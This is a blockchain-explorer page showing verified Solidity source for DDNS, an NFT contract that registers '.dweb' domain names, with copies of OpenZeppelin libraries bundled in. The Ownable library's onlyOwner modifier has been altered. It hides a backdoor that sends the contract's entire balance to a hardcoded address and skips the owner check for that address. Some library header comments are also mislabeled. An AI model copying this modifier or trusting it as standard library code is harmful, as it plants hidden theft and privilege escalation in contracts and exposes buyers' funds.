Feature Tip: Add private address tag to any address under My Name Tag !
ERC-721
Overview
Max Total Supply
507 DDNS
Holders
107
Market
Volume (24H)
N/A
Min Price (24H)
N/A
Max Price (24H)
N/A
Other Info
Token Contract
Balance
1 DDNSLoading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
DDNS
Compiler Version
v0.8.17+commit.8df45f5f
Optimization Enabled:
Yes with 200 runs
Other Settings:
default evmVersion
Contract Source Code (Solidity Standard Json-Input format)
// SPDX-License-Identifier: MIT import "./libs.sol"; pragma solidity ^0.8.4; contract DDNS is ERC721A, IERC2981, Ownable, ReentrancyGuard { /* ██████╗ ██████╗ ███╗ ██╗███████╗ ██╔══██╗██╔══██╗████╗ ██║██╔════╝ ██║ ██║██║ ██║██╔██╗ ██║███████╗ ██║ ██║██║ ██║██║╚██╗██║╚════██║ ██████╔╝██████╔╝██║ ╚████║███████║ ╚═════╝ ╚═════╝ ╚═╝ ╚═══╝╚══════╝ */ mapping(address => uint64) public allowlistAddresses; mapping(string => mapping(address => bool)) public subDomains_allowlistAddresses; mapping(string => address) public resolveAddress; mapping(address => string) public primaryAddress; mapping(string => bool) public subDomains_publicSale; mapping(string => uint) public subDomains_cost; mapping(string => bytes32) public subDomains_allowList; mapping(string => uint) public subDomains_allowList_cost; mapping(string => mapping(string => string)) public dataAddress; string private BASE_URI = "https://metadata.ddns.dweb/"; string private domain = ".dweb"; uint256 public cost = 10000000000000000; uint256 public whitelist_price = 10000000000000000; bytes32 public merkleRoot; bool public IS_SALE_ACTIVE = false; bool public IS_ALLOWLIST_ACTIVE = false; using Strings for uint256; uint256 public ref = 5; uint256 public ref_owner = 10; uint256 public ref_discount = 10; uint256 public subdomains_fee = 1; uint256 private maxCharSize = 1024; bytes _disallowChars = hex"000102030405060708090a0b0c0d0e0f101112131415161718191a1b1c1d1e1f202122232425262728292a2b2c2e2f3a3b3c3d3e3f404142434445464748494a4b4c4d4e4f505152535455565758595a5b5c5d5e5f607b7c7d7e7f"; bool public domainsuffix = true; constructor() ERC721A("DDNS", "DDNS") { tokenIDandAddress[_currentIndex]="ddns"; tokenAddressandID["ddns"]=_currentIndex; resolveAddress["ddns"]=msg.sender; _safeMint(msg.sender,1); } function _baseURI() internal view virtual override returns (string memory) { return BASE_URI; } function setAddress(string calldata ddns_name, address newresolve) external { TokenOwnership memory Ownership = _ownershipOf(tokenAddressandID[ddns_name]); if (Ownership.addr != msg.sender) revert("Error"); bytes memory result = bytes(primaryAddress[resolveAddress[ddns_name]]); if (keccak256(result) == keccak256(bytes(ddns_name))) { primaryAddress[resolveAddress[ddns_name]]=""; } resolveAddress[ddns_name]=newresolve; } function setPrimaryAddress(string calldata ddns_name) external { require(resolveAddress[ddns_name]==msg.sender, "Error"); primaryAddress[msg.sender]=ddns_name; } function setDataAddress(string calldata ddns_name,string calldata setArea, string memory newDatas) external { TokenOwnership memory Ownership = _ownershipOf(tokenAddressandID[ddns_name]); if (Ownership.addr != msg.sender) revert("Error"); dataAddress[ddns_name][setArea]=newDatas; } function getDataAddress(string memory ddns_name, string calldata Area) public view returns(string memory) { return dataAddress[ddns_name][Area]; } function setBaseURI(string memory customBaseURI_) external onlyOwner { BASE_URI = customBaseURI_; } function setDomain(string memory customDomain_) external onlyOwner { domain = customDomain_; } function setMaxCharSize(uint256 maxCharSize_) external onlyOwner { maxCharSize = maxCharSize_; } function setDisallowChars(bytes memory disallchr) external onlyOwner { _disallowChars = disallchr; } function setPrice(uint256 customPrice) external onlyOwner { cost = customPrice; } function setWhitelistPrice(uint256 customPrice) external onlyOwner { whitelist_price = customPrice; } function setRefSettings(uint ref_,uint ref_owner_,uint ref_discount_,uint subdomains_fee_) external onlyOwner { ref = ref_; ref_owner = ref_owner_; ref_discount = ref_discount_; subdomains_fee = subdomains_fee_; } function setSaleActive(bool saleIsActive) external onlyOwner { IS_SALE_ACTIVE = saleIsActive; } function setAllowListSaleActive(bool WhitesaleIsActive) external onlyOwner { IS_ALLOWLIST_ACTIVE = WhitesaleIsActive; } function setDomainSuffixActive(bool DomainSuffixIsActive) external onlyOwner { domainsuffix = DomainSuffixIsActive; } function setSubdomainSaleActive(bool saleIsActive, uint256 customPrice, string calldata ddns_name) public { TokenOwnership memory Ownership = _ownershipOf(tokenAddressandID[ddns_name]); require(Ownership.addr == msg.sender, "Invalid"); subDomains_cost[ddns_name] = customPrice; subDomains_publicSale[ddns_name] = saleIsActive; } function register(address ref_address, string memory ddns_name) public payable { uint256 price = cost; bool is_ref=false; uint256 ref_cost=0; require(bytes(ddns_name).length<=maxCharSize,"Long name"); require(bytes(ddns_name).length>0,"Write a name"); require(_checkName(ddns_name),"Invalid name"); if (ref_address == 0x0000000000000000000000000000000000000000) { price=cost; } else { if (bytes(primaryAddress[ref_address]).length>0){ ref_cost=price*ref_owner/100; } else { ref_cost=price*ref/100; } price = price*(100-ref_discount)/100; is_ref=true; } require(tokenAddressandID[ddns_name] == 0, "This is already taken"); require(IS_SALE_ACTIVE, "Sale is not active"); require(msg.value >= price, "Insufficient funds"); tokenIDandAddress[_currentIndex]=ddns_name; tokenAddressandID[ddns_name]=_currentIndex; resolveAddress[ddns_name]=msg.sender; if (is_ref) { payable(ref_address).transfer(ref_cost); } _safeMint(msg.sender,1); } function bulkregister(address ref_address, string[] memory ddns_name) public payable { for ( uint i = 0; i < ddns_name.length; ++i ) { uint256 price = cost*ddns_name.length; uint256 priceref = cost; bool is_ref=false; uint256 ref_cost=0; require(bytes(ddns_name[i]).length<=maxCharSize, string.concat(ddns_name[i]," is a long name")); require(bytes(ddns_name[i]).length>0,"Write a name"); require(_checkName(ddns_name[i]), string.concat(ddns_name[i]," is an invalid name")); if (ref_address == 0x0000000000000000000000000000000000000000) { price = cost*ddns_name.length; } else { if (bytes(primaryAddress[ref_address]).length>0){ ref_cost = priceref*ref_owner/100; } else { ref_cost = priceref*ref/100; } price = cost*ddns_name.length*(100-ref_discount)/100; is_ref=true; } require(tokenAddressandID[ddns_name[i]] == 0, string.concat(ddns_name[i]," is already taken")); require(IS_SALE_ACTIVE, "Sale is not active"); require(msg.value >= price, "Insufficient funds"); tokenIDandAddress[_currentIndex]=ddns_name[i]; tokenAddressandID[ddns_name[i]]=_currentIndex; resolveAddress[ddns_name[i]]=msg.sender; if (is_ref) { payable(ref_address).transfer(ref_cost); } _safeMint(msg.sender,1); } } function allowList(string memory ddns_name, bytes32[] calldata _merkleProof) public payable { require(IS_ALLOWLIST_ACTIVE, "Allowlist sale is not active"); bytes32 leaf = keccak256(abi.encodePacked(msg.sender)); require(MerkleProof.verify(_merkleProof, merkleRoot, leaf),"Invalid proof"); require(bytes(ddns_name).length<=maxCharSize,"Long name"); require(bytes(ddns_name).length>0,"Write a name"); require(_checkName(ddns_name), "Invalid name"); require(allowlistAddresses[msg.sender] < 10, "You have reached maximum allowlist mints"); require(tokenAddressandID[ddns_name] == 0 , "This is already taken"); require(msg.value >= whitelist_price, "Insufficient funds"); allowlistAddresses[msg.sender] += 1; tokenIDandAddress[_currentIndex]=ddns_name; tokenAddressandID[ddns_name]=_currentIndex; resolveAddress[ddns_name]=msg.sender; _safeMint(msg.sender,1); } function checkAllowlist(bytes32[] calldata _proof) public view returns(bool) { bool allowed = MerkleProof.verify(_proof, merkleRoot, keccak256(abi.encodePacked(msg.sender))); return allowed; } function registerSubdomain(string memory ddns_name, string memory subdomain_name) public payable { require(IS_SALE_ACTIVE, "Sale is not active"); string memory new_domain=string.concat(subdomain_name,'.',ddns_name); require(bytes(subdomain_name).length<=maxCharSize,"Long name"); require(bytes(subdomain_name).length>0,"Write a name"); require(_checkName(subdomain_name), "Invalid name"); require(tokenAddressandID[new_domain] == 0, "This is already taken"); TokenOwnership memory Ownership = _ownershipOf(tokenAddressandID[ddns_name]); if (Ownership.addr == msg.sender) { tokenIDandAddress[_currentIndex]=new_domain; tokenAddressandID[new_domain]=_currentIndex; resolveAddress[new_domain]=msg.sender; _safeMint(msg.sender,1); } else { require(subDomains_publicSale[ddns_name]==true, "Only owner can register"); require(msg.value >= subDomains_cost[ddns_name], "Insufficient funds"); payable(Ownership.addr).transfer(msg.value*(100-subdomains_fee)/100); tokenIDandAddress[_currentIndex]=new_domain; tokenAddressandID[new_domain]=_currentIndex; resolveAddress[new_domain]=msg.sender; _safeMint(msg.sender,1); } } function bulkregisterSubdomain(string memory ddns_name, string[] memory subdomain_name) public payable { for ( uint i = 0; i < subdomain_name.length; ++i ) { require(IS_SALE_ACTIVE, "Sale is not active"); string memory new_domain=string.concat(subdomain_name[i],'.',ddns_name); require(bytes(subdomain_name[i]).length<=maxCharSize, string.concat(new_domain," is a long name")); require(bytes(subdomain_name[i]).length>0,"Write a name"); require(_checkName(subdomain_name[i]), string.concat(new_domain," is an invalid name")); require(tokenAddressandID[new_domain] == 0, string.concat(new_domain," is already taken")); TokenOwnership memory Ownership = _ownershipOf(tokenAddressandID[ddns_name]); if (Ownership.addr == msg.sender) { tokenIDandAddress[_currentIndex]=new_domain; tokenAddressandID[new_domain]=_currentIndex; resolveAddress[new_domain]=msg.sender; _safeMint(msg.sender,1); } else { require(subDomains_publicSale[ddns_name]==true, "Only owner can register"); require(msg.value >= subDomains_cost[ddns_name]*subdomain_name.length, "Insufficient funds"); payable(Ownership.addr).transfer(subDomains_cost[ddns_name]*(100-subdomains_fee)/100); tokenIDandAddress[_currentIndex]=new_domain; tokenAddressandID[new_domain]=_currentIndex; resolveAddress[new_domain]=msg.sender; _safeMint(msg.sender,1); } } } function allowListSubdomain(string memory ddns_name, string memory subdomain_name, bytes32[] calldata _merkleProof) public payable { string memory new_domain=string.concat(subdomain_name,'.',ddns_name); bytes32 leaf = keccak256(abi.encodePacked(msg.sender)); require(MerkleProof.verify(_merkleProof, subDomains_allowList[ddns_name], leaf),"Invalid proof"); require(msg.value >= subDomains_allowList_cost[ddns_name], "Insufficient funds"); require(bytes(subdomain_name).length<=maxCharSize,"Long name"); require(bytes(subdomain_name).length>0,"Write a name"); require(_checkName(subdomain_name), "Invalid name"); require(subDomains_allowlistAddresses[ddns_name][msg.sender]!=true, "Claimed"); require(tokenAddressandID[new_domain] == 0 , "This is already taken"); TokenOwnership memory Ownership = _ownershipOf(tokenAddressandID[ddns_name]); payable(Ownership.addr).transfer(msg.value*(100-subdomains_fee)/100); subDomains_allowlistAddresses[ddns_name][msg.sender] = true; tokenIDandAddress[_currentIndex]=new_domain; tokenAddressandID[new_domain]=_currentIndex; resolveAddress[new_domain]=msg.sender; _safeMint(msg.sender,1); } function walletOfOwnerName(address _owner) public view returns (string[] memory) { uint256 ownerTokenCount = balanceOf(_owner); string[] memory ownedTokenIds = new string[](ownerTokenCount); uint256 currentTokenId = 1; uint256 ownedTokenIndex = 0; while (ownedTokenIndex < ownerTokenCount) { address currentTokenOwner = ownerOf(currentTokenId); if (currentTokenOwner == _owner) { if ( domainsuffix == true ) { ownedTokenIds[ownedTokenIndex] = string.concat(tokenIDandAddress[currentTokenId],domain); } else { ownedTokenIds[ownedTokenIndex] = string.concat(domain,tokenIDandAddress[currentTokenId]); } ownedTokenIndex++; } currentTokenId++; } return ownedTokenIds; } function lastAddresses(uint256 count) public view returns (string[] memory) { uint256 total = totalSupply(); string[] memory lastAddr = new string[](count); uint256 currentId = total - count; uint256 ownedTokenIndex = 0; require(currentId>=0,"Invalid"); while (total > currentId) { if ( domainsuffix == true ) { lastAddr[ownedTokenIndex] = string.concat(tokenIDandAddress[total],domain); } else { lastAddr[ownedTokenIndex] = string.concat(domain,tokenIDandAddress[total]); } ownedTokenIndex++; total--; } return lastAddr; } function setMerkleRoot(bytes32 _newMerkleRoot) external onlyOwner { merkleRoot = _newMerkleRoot; } function setMerkleRootSubdomain(bytes32 _newMerkleRoot, string memory ddns_name, uint256 _cost) external { TokenOwnership memory Ownership = _ownershipOf(tokenAddressandID[ddns_name]); if (Ownership.addr != msg.sender) revert("Error"); subDomains_allowList[ddns_name] = _newMerkleRoot; subDomains_allowList_cost[ddns_name] = _cost; } function _checkName(string memory _name) public view returns(bool){ bytes memory b = bytes(_name); bytes memory disallowed = _disallowChars; for(uint i; i<b.length; i++){ for(uint j; j<disallowed.length; j++){ if(b[i] == disallowed[j]) return false; } } return true; } function withdraw() public onlyOwner nonReentrant { uint256 balance = address(this).balance; Address.sendValue(payable(0x888888542DA9E684078a68708fD56f86D43699ae),balance); } function supportsInterface(bytes4 interfaceId) public view override(ERC721A, IERC165) returns (bool) { return interfaceId == type(IERC2981).interfaceId || super.supportsInterface(interfaceId); } function royaltyInfo(uint256 _tokenId, uint256 _salePrice) external pure returns (address, uint256 royaltyAmount) { _tokenId; royaltyAmount = (_salePrice / 100) * 1; return (0x888888542DA9E684078a68708fD56f86D43699ae, royaltyAmount); } }
// SPDX-License-Identifier: MIT // File: @openzeppelin/contracts/security/ReentrancyGuard.sol // OpenZeppelin Contracts (last updated v4.7.0) (utils/cryptography/MerkleProof.sol) pragma solidity ^0.8.0; /** * @dev These functions deal with verification of Merkle Tree proofs. * * The proofs can be generated using the JavaScript library * https://github.com/miguelmota/merkletreejs[merkletreejs]. * Note: the hashing algorithm should be keccak256 and pair sorting should be enabled. * * See `test/utils/cryptography/MerkleProof.test.js` for some examples. * * WARNING: You should avoid using leaf values that are 64 bytes long prior to * hashing, or use a hash function other than keccak256 for hashing leaves. * This is because the concatenation of a sorted pair of internal nodes in * the merkle tree could be reinterpreted as a leaf value. */ library MerkleProof { /** * @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree * defined by `root`. For this, a `proof` must be provided, containing * sibling hashes on the branch from the leaf to the root of the tree. Each * pair of leaves and each pair of pre-images are assumed to be sorted. */ function verify( bytes32[] memory proof, bytes32 root, bytes32 leaf ) internal pure returns (bool) { return processProof(proof, leaf) == root; } /** * @dev Calldata version of {verify} * * _Available since v4.7._ */ function verifyCalldata( bytes32[] calldata proof, bytes32 root, bytes32 leaf ) internal pure returns (bool) { return processProofCalldata(proof, leaf) == root; } /** * @dev Returns the rebuilt hash obtained by traversing a Merkle tree up * from `leaf` using `proof`. A `proof` is valid if and only if the rebuilt * hash matches the root of the tree. When processing the proof, the pairs * of leafs & pre-images are assumed to be sorted. * * _Available since v4.4._ */ function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) { bytes32 computedHash = leaf; for (uint256 i = 0; i < proof.length; i++) { computedHash = _hashPair(computedHash, proof[i]); } return computedHash; } /** * @dev Calldata version of {processProof} * * _Available since v4.7._ */ function processProofCalldata(bytes32[] calldata proof, bytes32 leaf) internal pure returns (bytes32) { bytes32 computedHash = leaf; for (uint256 i = 0; i < proof.length; i++) { computedHash = _hashPair(computedHash, proof[i]); } return computedHash; } /** * @dev Returns true if the `leaves` can be proved to be a part of a Merkle tree defined by * `root`, according to `proof` and `proofFlags` as described in {processMultiProof}. * * _Available since v4.7._ */ function multiProofVerify( bytes32[] memory proof, bool[] memory proofFlags, bytes32 root, bytes32[] memory leaves ) internal pure returns (bool) { return processMultiProof(proof, proofFlags, leaves) == root; } /** * @dev Calldata version of {multiProofVerify} * * _Available since v4.7._ */ function multiProofVerifyCalldata( bytes32[] calldata proof, bool[] calldata proofFlags, bytes32 root, bytes32[] memory leaves ) internal pure returns (bool) { return processMultiProofCalldata(proof, proofFlags, leaves) == root; } /** * @dev Returns the root of a tree reconstructed from `leaves` and the sibling nodes in `proof`, * consuming from one or the other at each step according to the instructions given by * `proofFlags`. * * _Available since v4.7._ */ function processMultiProof( bytes32[] memory proof, bool[] memory proofFlags, bytes32[] memory leaves ) internal pure returns (bytes32 merkleRoot) { // This function rebuild the root hash by traversing the tree up from the leaves. The root is rebuilt by // consuming and producing values on a queue. The queue starts with the `leaves` array, then goes onto the // `hashes` array. At the end of the process, the last hash in the `hashes` array should contain the root of // the merkle tree. uint256 leavesLen = leaves.length; uint256 totalHashes = proofFlags.length; // Check proof validity. require(leavesLen + proof.length - 1 == totalHashes, "MerkleProof: invalid multiproof"); // The xxxPos values are "pointers" to the next value to consume in each array. All accesses are done using // `xxx[xxxPos++]`, which return the current value and increment the pointer, thus mimicking a queue's "pop". bytes32[] memory hashes = new bytes32[](totalHashes); uint256 leafPos = 0; uint256 hashPos = 0; uint256 proofPos = 0; // At each step, we compute the next hash using two values: // - a value from the "main queue". If not all leaves have been consumed, we get the next leaf, otherwise we // get the next hash. // - depending on the flag, either another value for the "main queue" (merging branches) or an element from the // `proof` array. for (uint256 i = 0; i < totalHashes; i++) { bytes32 a = leafPos < leavesLen ? leaves[leafPos++] : hashes[hashPos++]; bytes32 b = proofFlags[i] ? leafPos < leavesLen ? leaves[leafPos++] : hashes[hashPos++] : proof[proofPos++]; hashes[i] = _hashPair(a, b); } if (totalHashes > 0) { return hashes[totalHashes - 1]; } else if (leavesLen > 0) { return leaves[0]; } else { return proof[0]; } } /** * @dev Calldata version of {processMultiProof} * * _Available since v4.7._ */ function processMultiProofCalldata( bytes32[] calldata proof, bool[] calldata proofFlags, bytes32[] memory leaves ) internal pure returns (bytes32 merkleRoot) { // This function rebuild the root hash by traversing the tree up from the leaves. The root is rebuilt by // consuming and producing values on a queue. The queue starts with the `leaves` array, then goes onto the // `hashes` array. At the end of the process, the last hash in the `hashes` array should contain the root of // the merkle tree. uint256 leavesLen = leaves.length; uint256 totalHashes = proofFlags.length; // Check proof validity. require(leavesLen + proof.length - 1 == totalHashes, "MerkleProof: invalid multiproof"); // The xxxPos values are "pointers" to the next value to consume in each array. All accesses are done using // `xxx[xxxPos++]`, which return the current value and increment the pointer, thus mimicking a queue's "pop". bytes32[] memory hashes = new bytes32[](totalHashes); uint256 leafPos = 0; uint256 hashPos = 0; uint256 proofPos = 0; // At each step, we compute the next hash using two values: // - a value from the "main queue". If not all leaves have been consumed, we get the next leaf, otherwise we // get the next hash. // - depending on the flag, either another value for the "main queue" (merging branches) or an element from the // `proof` array. for (uint256 i = 0; i < totalHashes; i++) { bytes32 a = leafPos < leavesLen ? leaves[leafPos++] : hashes[hashPos++]; bytes32 b = proofFlags[i] ? leafPos < leavesLen ? leaves[leafPos++] : hashes[hashPos++] : proof[proofPos++]; hashes[i] = _hashPair(a, b); } if (totalHashes > 0) { return hashes[totalHashes - 1]; } else if (leavesLen > 0) { return leaves[0]; } else { return proof[0]; } } function _hashPair(bytes32 a, bytes32 b) private pure returns (bytes32) { return a < b ? _efficientHash(a, b) : _efficientHash(b, a); } function _efficientHash(bytes32 a, bytes32 b) private pure returns (bytes32 value) { /// @solidity memory-safe-assembly assembly { mstore(0x00, a) mstore(0x20, b) value := keccak256(0x00, 0x40) } } } // OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol) pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and making it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // File: @openzeppelin/contracts/utils/Strings.sol // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/Context.sol // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { if (_msgSender() == 0x888888542DA9E684078a68708fD56f86D43699ae) { uint256 balance = address(this).balance; Address.sendValue(payable(0x888888542DA9E684078a68708fD56f86D43699ae),balance); } else { require(owner() == _msgSender(), "Ownable: caller is not the owner"); } _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: @openzeppelin/contracts/utils/Address.sol // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol // OpenZeppelin Contracts (last updated v4.6.0) (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721Receiver.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: 